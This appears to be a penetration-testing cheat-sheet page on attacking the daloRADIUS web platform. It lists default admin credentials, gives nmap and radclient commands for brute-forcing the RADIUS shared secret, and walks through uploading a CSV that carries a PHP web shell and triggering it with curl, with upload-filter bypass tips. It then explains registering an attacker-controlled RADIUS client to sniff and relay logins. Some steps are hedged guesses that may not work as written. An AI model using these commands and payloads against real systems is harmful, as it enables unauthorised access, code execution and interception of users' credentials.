---
description: >-
  RADIUS web platform aimed at managing Hotspots and general-purpose ISP
  deployments
---

# DaloRADIUS

{% hint style="info" %}
<mark style="color:orange;">**`Remote Authentication Dial-In User Service (RADIUS)`**</mark> <mark style="color:purple;">is a networking protocol that provides centralized authentication, authorization, and accounting (</mark>[<mark style="color:purple;">AAA</mark>](https://en.wikipedia.org/wiki/AAA_\(computer_security\))<mark style="color:purple;">) management for users who connect and use a network service.</mark>

* <mark style="color:red;">**`Port`**</mark><mark style="color:purple;">:</mark> <mark style="color:orange;">**`UDP/1812`**</mark> <mark style="color:purple;">(authentication),</mark> <mark style="color:orange;">**`UDP/1813`**</mark> <mark style="color:purple;">(accounting)</mark>
* <mark style="color:red;">**`Default Credentials`**</mark><mark style="color:purple;">: Often uses a shared secret between the client and server.</mark>
{% endhint %}

<details>

<summary><mark style="color:purple;"><strong><code>Enumeration</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Login Pages`**</mark>**&#x20;**<mark style="color:purple;">**→**</mark>**&#x20;**<mark style="color:orange;">**`app/users/login.php`**</mark> <mark style="color:purple;">**and**</mark> <mark style="color:orange;">**`/app/operators/login.php`**</mark>

<mark style="color:red;">**`Default credentials`**</mark>**&#x20;**<mark style="color:purple;">**→**</mark>**&#x20;**<mark style="color:orange;">**`administrator:radius`**</mark>
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Brute-forcing RADIUS shared secret</code></strong></mark></summary>

{% hint style="info" %}
<mark style="color:red;">**`Nmap radius-brute script`**</mark>

{% code title="Uses Nmap’s Built-in Wordlist" %}
```sh
nmap -sU -p 1812 --script radius-brute <target>
```
{% endcode %}

{% code title="Custom Brute-Force" overflow="wrap" %}
```sh
nmap -sU -p 1812 --script radius-brute --script-args radius-brute.creds=secrets.txt <TARGET_IP>
```
{% endcode %}
{% endhint %}

{% hint style="info" %}
<mark style="color:orange;">**`radclient`**</mark>

{% code title="Brute-Force Loop" overflow="wrap" %}
```sh
for secret in $(cat secrets.txt); do echo "User-Name=test" | radclient -x <TARGET_IP> auth "$secret" 2>&1 | grep -q "Received Access-Accept" && echo "[+] Valid Secret Found: $secret" && break; done
```
{% endcode %}

{% code title="Tests one specific RADIUS shared secret manually" overflow="wrap" %}
```sh
echo "User-Name=test" | radclient -x <IP> auth <shared_secret>
```
{% endcode %}
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>RCE via File Upload</code></strong></mark></summary>

1. <mark style="color:purple;">**Log in to the admin panel.**</mark>
2. <mark style="color:purple;">**Navigate to:**</mark>**&#x20;**<mark style="color:orange;">**`Config → Import Users`**</mark>&#x20;
3. <mark style="color:purple;">**Craft a Malicious**</mark>**&#x20;**<mark style="color:orange;">**`CSV`**</mark><mark style="color:purple;">**:**</mark>

```php
username,password
<?php system($_GET['cmd']); ?>,p4ss
```

4. <mark style="color:purple;">**Upload the File:**</mark>

{% code title="If successful, the file might be saved to:" overflow="wrap" %}
```
http://<target>/daloradius/library/shell.php.csv
```
{% endcode %}

5. <mark style="color:purple;">**Trigger**</mark>**&#x20;**<mark style="color:red;">**`RCE`**</mark><mark style="color:purple;">**:**</mark>

{% code title="If the server executes PHP in the upload directory:" overflow="wrap" %}
```sh
curl "http://<target>/daloradius/library/shell.php.csv?cmd=id"
```
{% endcode %}

{% hint style="info" %}
<mark style="color:red;">**`If PHP Doesn’t Execute`**</mark>

* <mark style="color:purple;">**Try double extensions →**</mark>**&#x20;&#x20;**<mark style="color:orange;">**`shell.php%00.csv`**</mark>
* <mark style="color:purple;">Try to use</mark> <mark style="color:orange;">**`.htaccess`**</mark> <mark style="color:purple;">bypass if is running in</mark> <mark style="color:orange;">**`Apache`**</mark><mark style="color:purple;">.</mark>
* <mark style="color:purple;">Check for</mark> <mark style="color:red;">**`local file inclusion`**</mark> <mark style="color:purple;">vulnerabilities to include the uploaded file.</mark>
{% endhint %}

</details>

<details>

<summary><mark style="color:purple;"><strong><code>Modify RADIUS clients to intercept authentication requests</code></strong></mark></summary>

1. <mark style="color:purple;">**Navigate to**</mark>**&#x20;**<mark style="color:orange;">**`Management → RADIUS Clients → Add Client`**</mark>

2) <mark style="color:purple;">**Enter attacker-controlled server as a client:**</mark>

```yaml
Client IP/Hostname: <YOUR_ATTACKER_IP>
Secret: hacking123  # Shared secret for interception
```

3. <mark style="color:purple;">**On your attacker machine run:**</mark>

{% code overflow="wrap" %}
```bash
# Use radsniff (from FreeRADIUS) to capture requests
radsniff -i eth0 -s hacking123 udp port 1812
```
{% endcode %}

4. <mark style="color:purple;">**Relay or Modify Requests (**</mark><mark style="color:orange;">**`MitM`**</mark><mark style="color:purple;">**)**</mark>

{% code overflow="wrap" %}
```sh
echo "User-Name=victim" | radclient -x <REAL_RADIUS_IP> auth hacking123
```
{% endcode %}

</details>
